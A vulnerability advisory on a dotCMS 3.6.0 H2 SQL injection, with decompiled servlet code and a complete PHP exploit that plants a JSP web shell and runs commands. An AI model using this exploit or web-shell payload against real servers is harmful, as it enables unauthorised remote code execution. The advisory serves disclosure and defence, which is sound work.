SSD Advisory – dotCMS H2 Database Remote Code Execution

Vulnerabilities Summary
The following advisory describes an SQL Injection in dotCMS 3.6.0 H2 Database that allows attackers to Remote Code Execution.
Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
Vendor response
We contacted the vendor back in December 2016 and they responded with:
H2 is not a production DB for us. It is just for testing and trying out dotCMS. We do not support it in production or on public servers
Please note that since this vulnerability will not be fixed, default installations of dotCMS that don’t switch from H2 to some other database are vulnerable. In addition, the only warning found on the web site of dotCMS related to H2 is:
Important: H2DB should NOT be used for a production in environment.
Which doesn’t explain the lack of security due to dotCMS using an H2 database.

Vulnerability Details
dotCMS offers a Tomcat server with a preconfigured dotCms installation, the Tomcat server listens by default on public port 8080 (tcp/http) for incoming requests to the web panel.
Using an unauthenticated connection it is possible to visit the the’CategoriesServlet‘ servlet. The getCreateSortChildren() function of the ‘H2CategorySQL‘ class suffers of an SQL injection vulnerability into the ‘inode‘ parameter of a GET request, when the ‘reorder‘ parameter is set to ‘TRUE‘.
H2 allows stacked queries to be performed. In addition, the underlying H2 database offers the ‘SCRIPT TO ‘ construct. Through this it is possible to store arbitrary Java code into a newly created .jsp script.
A remote attacker, could then create an arbitrary script into an accessible web path and execute arbitrary code/commands against the target server.
Vulnerable code
The vulnerable code can be found in:

C:\[path_to_dotcms]\dotserver\tomcat-8.0.18\webapps\ROOT\WEB-INF\web.xml:
...
        <servlet>
		<servlet-name>CategoriesServlet</servlet-name>
		<servlet-class>com.dotmarketing.servlets.JSONCategoriesServlet</servlet-class>
	</servlet>
...
...
        <servlet-mapping>
		<servlet-name>CategoriesServlet</servlet-name>
		<url-pattern>/categoriesServlet</url-pattern>
	</servlet-mapping>
...

The servlet can be contacted without prior authentication.
com.dotmarketing.servlets.JSONCategoriesServlet decompiled class:

...
package com.dotmarketing.servlets;
import com.dotcms.repackage.com.fasterxml.jackson.databind.DeserializationFeature;
import com.dotcms.repackage.com.fasterxml.jackson.databind.ObjectMapper;
import com.dotcms.repackage.org.apache.commons.lang.StringEscapeUtils;
import com.dotmarketing.business.APILocator;
import com.dotmarketing.business.web.UserWebAPI;
import com.dotmarketing.business.web.WebAPILocator;
import com.dotmarketing.exception.*;
import com.dotmarketing.portlets.categories.business.CategoryAPI;
import com.dotmarketing.portlets.categories.business.PaginatedCategories;
import com.dotmarketing.portlets.categories.model.Category;
import com.dotmarketing.util.UtilMethods;
import com.dotmarketing.util.WebKeys;
import com.liferay.portal.PortalException;
import com.liferay.portal.SystemException;
import com.liferay.portal.model.User;
import java.io.IOException;
import java.io.PrintWriter;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;
public class JSONCategoriesServlet extends HttpServlet
    implements Servlet
{
            public JSONCategoriesServlet()
            {
            }
            public void doGet(HttpServletRequest request, HttpServletResponse response)
                throws ServletException, IOException
            {
                UserWebAPI uWebAPI;
                User user;
/*  43*/        UtilMethods.removeBrowserCache(response);
/*  45*/        uWebAPI = WebAPILocator.getUserWebAPI();
/*  46*/        user = null;
                String inode;
                String action;
                String q;
                String reorder;
/*  50*/        user = uWebAPI.getLoggedInUser(request);
/*  51*/        inode = request.getParameter("inode"); <-------------------------------
/*  52*/        action = request.getParameter("action");
/*  53*/        q = request.getParameter("q");
/*  54*/        String permission = request.getParameter("permission");
/*  55*/        reorder = request.getParameter("reorder"); <-----------------------------------
/*  57*/        if(UtilMethods.isSet(permission))
                {
/*  58*/            loadPermission(inode, request, response);
/*  59*/            return;
                }
/*  62*/        q = StringEscapeUtils.unescapeJava(q);
/*  63*/        inode = !UtilMethods.isSet(inode) || !inode.equals("undefined") ? inode : null;
/*  64*/        q = !UtilMethods.isSet(q) || !q.equals("undefined") ? q : null;
/*  66*/        if(UtilMethods.isSet(action) && action.equals("export"))
                {
/*  67*/            exportCategories(request, response, inode, q);
/*  68*/            return;
                }
/*  71*/        try
                {
/*  71*/            ObjectMapper mapper = new ObjectMapper();
/*  72*/            mapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false);
/*  74*/            CategoryAPI catAPI = APILocator.getCategoryAPI();
/*  75*/            int start = -1;
/*  76*/            int count = -1;
/*  77*/            String startStr = request.getParameter("start");
/*  78*/            String countStr = request.getParameter("count");
/*  79*/            String sort = request.getParameter("sort");
/*  80*/            if("-sort_order".equals(sort))
/*  81*/                sort = "sort_order";
/*  83*/            if(UtilMethods.isSet(startStr) && UtilMethods.isSet(countStr))
                    {
/*  84*/                start = Integer.parseInt(request.getParameter("start"));
/*  85*/                count = Integer.parseInt(request.getParameter("count"));
                    }
/*  88*/            Boolean topLevelCats = Boolean.valueOf(!UtilMethods.isSet(inode));
/*  90*/            if(UtilMethods.isSet(reorder) && reorder.equalsIgnoreCase("TRUE"))
/*  91*/                if(topLevelCats.booleanValue())
/*  92*/                    catAPI.sortTopLevelCategories();
/*  94*/                else
/*  94*/                    catAPI.sortChildren(inode); <------------------------------
/*  98*/            PaginatedCategories pagCategories = topLevelCats.booleanValue() ? catAPI.findTopLevelCategories(user, false, start, count, q, sort) : catAPI.findChildren(user, inode, false, start, count, q, sort);
/* 101*/            List items = new ArrayList();
/* 102*/            List categories = pagCategories.getCategories();
/* 104*/            if(categories != null)
                    {
                        Map catMap;
/* 105*/                for(Iterator iterator = categories.iterator(); iterator.hasNext(); items.add(catMap))
                        {
/* 105*/                    Category category = (Category)iterator.next();
/* 106*/                    catMap = new HashMap();
/* 107*/                    catMap.put("inode", category.getInode());
/* 108*/                    catMap.put("category_name", category.getCategoryName());
/* 109*/                    catMap.put("category_key", category.getKey());
/* 110*/                    catMap.put("category_velocity_var_name", category.getCategoryVelocityVarName());
/* 111*/                    catMap.put("sort_order", category.getSortOrder());
/* 112*/                    catMap.put("keywords", category.getKeywords());
                        }
                    }
/* 117*/            Map m = new HashMap();
/* 118*/            m.put("items", items);
/* 119*/            m.put("numRows", pagCategories.getTotalCount());
/* 120*/            String s = mapper.writeValueAsString(m);
/* 121*/            response.setContentType("text/plain");
/* 122*/            response.getWriter().write(s);
/* 123*/            response.getWriter().flush();
/* 124*/            response.getWriter().close();
                }
/* 126*/        catch(DotDataException e)
                {
/* 128*/            e.printStackTrace();
                }
/* 129*/        catch(DotSecurityException e)
                {
/* 131*/            e.printStackTrace();
                }
/* 132*/        catch(DotRuntimeException e)
                {
/* 134*/            e.printStackTrace();
                }
/* 135*/        catch(PortalException e)
                {
/* 137*/            e.printStackTrace();
                }
/* 138*/        catch(SystemException e)
                {
/* 140*/            e.printStackTrace();
                }
/* 141*/        catch(Exception e)
                {
/* 143*/            e.printStackTrace();
                }
/* 145*/        return;
            }
            private void exportCategories(HttpServletRequest request, HttpServletResponse response, String contextInode, String filter)
                throws ServletException, IOException
            {
                ServletOutputStream out;
                UserWebAPI uWebAPI;
/* 148*/        out = response.getOutputStream();
/* 149*/        response.setContentType("application/octet-stream");
/* 150*/        response.setHeader("Content-Disposition", (new StringBuilder()).append("attachment; filename=\"categories_").append(UtilMethods.dateToHTMLDate(new Date(), "M_d_yyyy")).append(".csv\"").toString());
/* 152*/        uWebAPI = WebAPILocator.getUserWebAPI();
/* 153*/        User user = null;
/* 156*/        User user = uWebAPI.getLoggedInUser(request);
/* 157*/        CategoryAPI catAPI = APILocator.getCategoryAPI();
/* 158*/        List categories = UtilMethods.isSet(contextInode) ? catAPI.findChildren(user, contextInode, false, filter) : catAPI.findTopLevelCategories(user, false, filter);
/* 161*/        if(!categories.isEmpty())
                {
/* 162*/            out.print("\"name\",\"key\",\"variable\",\"sort\"");
/* 163*/            out.print("\r\n");
/* 165*/            for(Iterator iterator = categories.iterator(); iterator.hasNext(); out.print("\r\n"))
                    {
/* 165*/                Category category = (Category)iterator.next();
/* 166*/                String catName = category.getCategoryName();
/* 167*/                String catKey = category.getKey();
/* 168*/                String catVar = category.getCategoryVelocityVarName();
/* 169*/                String catSort = Integer.toString(category.getSortOrder().intValue());
/* 170*/                catName = catName != null ? catName : "";
/* 171*/                catKey = catKey != null ? catKey : "";
/* 172*/                catVar = catVar != null ? catVar : "";
/* 173*/                catSort = catSort != null ? catSort : "";
/* 179*/                catName = (new StringBuilder()).append("\"").append(catName).append("\"").toString();
/* 180*/                catKey = (new StringBuilder()).append("\"").append(catKey).append("\"").toString();
/* 181*/                catVar = (new StringBuilder()).append("\"").append(catVar).append("\"").toString();
/* 183*/                out.print((new StringBuilder()).append(catName).append(",").append(catKey).append(",").append(catVar).append(",").append(catSort).toString());
                    }
                } else
                {
/* 188*/            out.print("There are no Categories to show");
/* 189*/            out.print("\r\n");
                }
/* 195*/        out.flush();
/* 196*/        out.close();
/* 197*/        break MISSING_BLOCK_LABEL_470;
                Exception e;
/* 192*/        e;
/* 193*/        e.printStackTrace();
/* 195*/        out.flush();
/* 196*/        out.close();
/* 197*/        break MISSING_BLOCK_LABEL_470;
                Exception exception;
/* 195*/        exception;
/* 195*/        out.flush();
/* 196*/        out.close();
/* 196*/        throw exception;
            }
            private void loadPermission(String inode, HttpServletRequest request, HttpServletResponse response)
                throws Exception
            {
/* 202*/        UserWebAPI uWebAPI = WebAPILocator.getUserWebAPI();
/* 203*/        User user = uWebAPI.getLoggedInUser(request);
/* 204*/        CategoryAPI categoryAPI = APILocator.getCategoryAPI();
/* 205*/        Category cat = categoryAPI.find(inode, user, false);
/* 206*/        request.setAttribute("com.dotmarketing.permissions.permissionable_edit", cat);
/* 207*/        RequestDispatcher rd = request.getRequestDispatcher("/html/portlet/ext/common/edit_permissions_tab_ajax.jsp");
/* 208*/        rd.include(request, response);
            }
            private static final long serialVersionUID = 1L;
}
...

At line 51, the ‘inode‘ parameter is received from a GET request;
At line 55, the ‘reorder‘ paramter is received, too;
At line 94, if ‘reorder‘ is set to TRUE, the sortChildren() function is called with the controlled ‘inode‘ parameter;
sortChildren() from the decompiled com.dotmarketing.portlets.categories.business.CategoryFactoryImpl class:

...
 public void sortChildren(String inode)
                throws DotDataException
            {
                Statement s;
                Connection conn;
                ResultSet rs;
/* 648*/        s = null;
/* 649*/        conn = null;
/* 650*/        rs = null;
/* 652*/        CategorySQL catSQL = CategorySQL.getInstance();
/* 653*/        conn = DbConnectionFactory.getDataSource().getConnection();
/* 654*/        conn.setAutoCommit(false);
/* 655*/        s = conn.createStatement();
/* 656*/        String sql = "";
/* 657*/        sql = catSQL.getCreateSortChildren(inode); <---------------------------------------
/* 658*/        s.executeUpdate(sql); <-----------------------------
/* 659*/        sql = catSQL.getUpdateSort();
/* 660*/        s.executeUpdate(sql);
/* 661*/        sql = catSQL.getDropSort();
/* 662*/        s.executeUpdate(sql);
/* 663*/        conn.commit();
/* 664*/        sql = catSQL.getSortedChildren(inode);
/* 665*/        rs = s.executeQuery(sql);
/* 667*/        do
                {
/* 667*/            if(!rs.next())
/* 668*/                break;
/* 668*/            Category cat = null;
/* 670*/            try
                    {
/* 670*/                cat = (Category)HibernateUtil.load(com/dotmarketing/portlets/categories/model/Category, rs.getString("inode"));
                    }
/* 671*/            catch(DotHibernateException e)
                    {
/* 672*/                if(!(e.getCause() instanceof ObjectNotFoundException))
/* 673*/                    throw e;
                    }
/* 675*/            if(cat != null)
/* 677*/                try
                        {
/* 677*/                    catCache.put(cat);
                        }
/* 678*/                catch(DotCacheException e)
                        {
/* 679*/                    throw new DotDataException(e.getMessage(), e);
                        }
                } while(true);
                SQLException e;
/* 693*/        try
                {
/* 693*/            rs.close();
/* 694*/            s.close();
/* 695*/            conn.close();
                }
                // Misplaced declaration of an exception variable
/* 696*/        catch(SQLException e)
                {
/* 698*/            e.printStackTrace();
                }
/* 700*/        break MISSING_BLOCK_LABEL_321;
/* 683*/        e;
/* 685*/        try
                {
/* 685*/            conn.rollback();
                }
/* 686*/        catch(SQLException e1)
                {
/* 688*/            e1.printStackTrace();
                }
/* 690*/        e.printStackTrace();
/* 693*/        try
                {
/* 693*/            rs.close();
/* 694*/            s.close();
/* 695*/            conn.close();
                }
                // Misplaced declaration of an exception variable
/* 696*/        catch(SQLException e)
                {
/* 698*/            e.printStackTrace();
                }
/* 700*/        break MISSING_BLOCK_LABEL_321;
                Exception exception;
/* 692*/        exception;
/* 693*/        try
                {
/* 693*/            rs.close();
/* 694*/            s.close();
/* 695*/            conn.close();
                }
/* 696*/        catch(SQLException e)
                {
/* 698*/            e.printStackTrace();
                }
/* 699*/        throw exception;
            }
...

At line 657, the ‘inode‘ parameter is passed to getCreateSortChildren();
At line 658, the returned ‘sql‘ string is executed;
com.dotmarketing.portlets.categories.business.CategorySQL :

...
package com.dotmarketing.portlets.categories.business;
import com.dotmarketing.db.DbConnectionFactory;
// Referenced classes of package com.dotmarketing.portlets.categories.business:
//            MySQLCategorySQL, PostgresCategorySQL, MSSQLCategorySQL, OracleCategorySQL,
//            H2CategorySQL
abstract class CategorySQL
{
            CategorySQL()
            {
            }
            protected static CategorySQL getInstance()
            {
/*  12*/        String x = DbConnectionFactory.getDBType();
/*  13*/        if("MySQL".equals(x))
/*  14*/            return new MySQLCategorySQL();
/*  15*/        if("PostgreSQL".equals(x))
/*  16*/            return new PostgresCategorySQL();
/*  17*/        if("Microsoft SQL Server".equals(x))
/*  18*/            return new MSSQLCategorySQL();
/*  19*/        if("Oracle".equals(x))
/*  20*/            return new OracleCategorySQL();
/*  22*/        else
/*  22*/            return new H2CategorySQL(); <----------------------------------------------
            }
...

Decompiled com.dotmarketing.portlets.categories.business.H2CategorySQL class:

...
public String getCreateSortChildren(String inode)
            {
/*  23*/        return (new StringBuilder()).append("create table category_reorder as  SELECT  rownum() rnum, * FROM (SELECT category.inode from inode category_1_, category, tree where category.inode = tree.child and tree.parent = '").append(inode).append("' and category_1_.inode = category.inode ").append(" and category_1_.type = 'category' order by sort_order) ").toString(); <------------------------------------
            }
...

The ‘inode’ parameter is concatenated into a query without prior sanitization, arbitrary sql commands can be injected and the code allows multi-queries.
Proof of Concept

<?php
/*
dotCMS 3.6.0 H2CategorySQL Class getCreateSortChildren() 'inode' Parameter SQL Injection / Remote
Code Execution Vulnerability PoC (H2 Database)
*/
error_reporting(0);
$host = $argv[1];
$port = 8080;
//$cmd = "id > out.txt"; //Linux
$cmd = "whoami > out.txt"; //Windows
$code="CHAR(60)||'% String cmd; String[] cmdarr; String OS = System.getProperty(\"os.name\");".
      " cmd = new String (request.getParameter(\"cmd\")); if (OS.startsWith(\"Windows\")) { ".
      " cmdarr = new String [] {\"cmd\", \"/C\", cmd'||CHAR(125)||';'||CHAR(125)||' else {".
      " cmdarr = new String [] {\"/bin/sh\", \"-c\", cmd'||CHAR(125)||';'||CHAR(125)||' Process p = Runtime.getRuntime().exec(cmdarr);%'||CHAR(62)";
//original query:
//create table category_reorder as  SELECT  rownum() rnum, * FROM (SELECT category.inode
//from inode category_1_, category, tree where category.inode = tree.child
//and tree.parent = '['SQL HERE]' and category_1_.inode = category.inode  and category_1_.type = 'category'
//order by sort_order)
$sql = "' AND 1=0);DROP TABLE IF EXISTS category_reorder; CREATE TABLE IF NOT EXISTS d(ID INT PRIMARY KEY,X VARCHAR(999));INSERT INTO d VALUES(1,".$code.");SCRIPT TO 'xx.jsp' TABLE d;DROP TABLE d;--";
$sql = urlencode($sql);
$pk="GET /categoriesServlet?reorder=TRUE&inode=".$sql."  HTTP/1.0\r\n".
    "Host: ".$host."\r\n".
    "Connection: Close\r\n\r\n";
$fp = fsockopen($host,$port,$e,$err,5);
fputs($fp,$pk);
$out="";
while (!feof($fp)){
  $out.=fread($fp,1);
}
fclose($fp);
echo $out;
sleep(1);
$pk="GET /xx.jsp?cmd=".urlencode($cmd)."  HTTP/1.0\r\n".
    "Host: ".$host."\r\n".
    "Connection: Close\r\n\r\n";
$fp = fsockopen($host,$port,$e,$err,5);
fputs($fp,$pk);
$out="";
while (!feof($fp)){
  $out.=fread($fp,1);
}
fclose($fp);
echo $out;
sleep(1);
$pk="GET /out.txt HTTP/1.0\r\n".
    "Host: ".$host."\r\n".
    "Connection: Close\r\n\r\n";
$fp = fsockopen($host,$port,$e,$err,5);
fputs($fp,$pk);
$out="";
while (!feof($fp)){
  $out.=fread($fp,1);
}
fclose($fp);
echo $out;
?>